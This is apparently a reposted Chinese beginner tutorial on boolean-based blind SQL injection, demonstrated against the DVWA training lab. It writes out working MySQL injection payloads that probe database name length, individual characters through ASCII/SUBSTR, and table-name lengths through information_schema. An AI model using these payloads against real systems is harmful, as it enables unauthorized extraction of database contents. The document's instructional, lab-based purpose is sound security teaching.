SQL注入之布尔型盲注

Posted 陆吾安全攻防实验室

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入之布尔型盲注相关的知识,希望对你有一定的参考价值。

本文是Web安全入门系列的第4篇文章


01

报错注入也不是万能的


今天要介绍的注入方法,是我们实战中最常见的一种注入方法:盲注。


依然使用DVWA靶场,首先进入的盲注页面:

输入1,返回:User ID exists in the database.

输入-1,返回:User ID is MISSING from the database.

SQL注入之布尔型盲注

输入1',返回:User ID is MISSING from the database.

SQL注入之布尔型盲注

以上尝试得出结论:

1. 该输入框存在注入点

2. 该页面或请求不会回显注入语句执行结果,故无法使用UNION注入

3. 对数据库报错进行了处理,无论用户怎么输入都不会显示报错信息,故无法使用报错注入


02

什么是盲注?



既不能使用UNION注入,也不能使用报错注入,此时,就该盲注闪亮登场了~

SQL注入之布尔型盲注

咳咳~虽然咱叫盲注,但不是眼盲的盲,也不是假借眼盲胡诌的盲,盲注的盲,指的是无法回显或获取SQL注入语句的执行结果。

当存在SQL注入时,攻击者无法通过页面或请求的返回信息,回显或获取到SQL注入语句的执行结果,这种情况就叫盲注。


03

布尔型盲注



回到DVWA的盲注页面:

当我们查询出结果时,返回:User ID exists in the database(相当于返回true)

没有查询出结果时,返回:User ID is MISSING from the database(相当于返回false)

布尔型盲注就是利用返回的true或false来判断注入语句是否执行成功。

            SQL注入之布尔型盲注    

  SQL注入之布尔型盲注


04

布尔型盲注实战


假设返回信息User ID exists in the database为true,User ID is MISSING from the database为false,我们来进行注入。

猜测数据库名称长度

输入:1' AND LENGTH(DATABASE()) > 1 #,返回true

SQL注入之布尔型盲注输入:1' AND LENGTH(DATABASE()) > 2 #,返回:true

输入:1' AND LENGTH(DATABASE()) > 3 #,返回:true

输入:1' AND LENGTH(DATABASE()) > 4 #,回:falseSQL注入之布尔型盲注

最终得出结论:数据库名称长度等于4个字符。

猜测数据库名称的一个字符

输入:1' AND ASCII(SUBSTR(DATABASE(),1,1))>97 #,返回:true

输入:1' AND ASCII(SUBSTR(DATABASE(),1,1))>98 #,返回:true

输入:1' AND ASCII(SUBSTR(DATABASE(),1,1))>99 #,返回:true

输入:1' AND ASCII(SUBSTR(DATABASE(),1,1))>100 #,返回:false

得出结论:数据库名称的第一个字符是小写字母d。

不理解97,98,99含义的同学,请参考ASCII编码对照表:http://ascii.911cha.com/


猜测数据库名称的二个字符

输入:1' AND ASCII(SUBSTR(DATABASE(),2,1))>97 #,返回:true

输入:1' AND ASCII(SUBSTR(DATABASE(),2,1))>98 #,返回:true

......

输入:1' AND ASCII(SUBSTR(DATABASE(),2,1))>117#,返回:true

输入:1' AND ASCII(SUBSTR(DATABASE(),2,1))>118#,返回:false

得出结论:数据库名称的第一个字符是小写字母v。

......

依此类推,最后猜出数据库名称为:dvwa。


猜测数据库表第一张表表名称的长度

输入:1' AND  (SELECT LENGTH(table_name) FROM information_Schema.tables WHERE table_schema=DATABASE() limit 0,1) > 1 #,返回:true

......

输入:1' AND (SELECT LENGTH(table_name) FROM information_Schema.tables WHERE table_schema=DATABASE() limit 0,1) > 10 #,返回:false

得出结论第一张表表名称长度为9个字符。

......

没有错,聪明的你一定已经领悟到,盲注的终极奥义,就是一个字



用好我们的终极奥义,UNION注入和报错注入能拿到的东西,我们盲注也都能拿到。

本期内容就到这里了,下篇文章我们将介绍时间型盲注以及不用猜到手抽筋的盲注方法,期待下期再见~


(部分图片源自网络,侵删)

以上是关于SQL注入之布尔型盲注的主要内容,如果未能解决你的问题,请参考以下文章

SQL注入-布尔盲注实例

小白注入学习:sqli-labs--less8学习记录

SQL注入测试学习布尔盲注

SQL注入实战之盲注篇(布尔时间盲注)

SQL注入实战之盲注篇(布尔时间盲注)

MYSQL注入基础及绕过技巧总结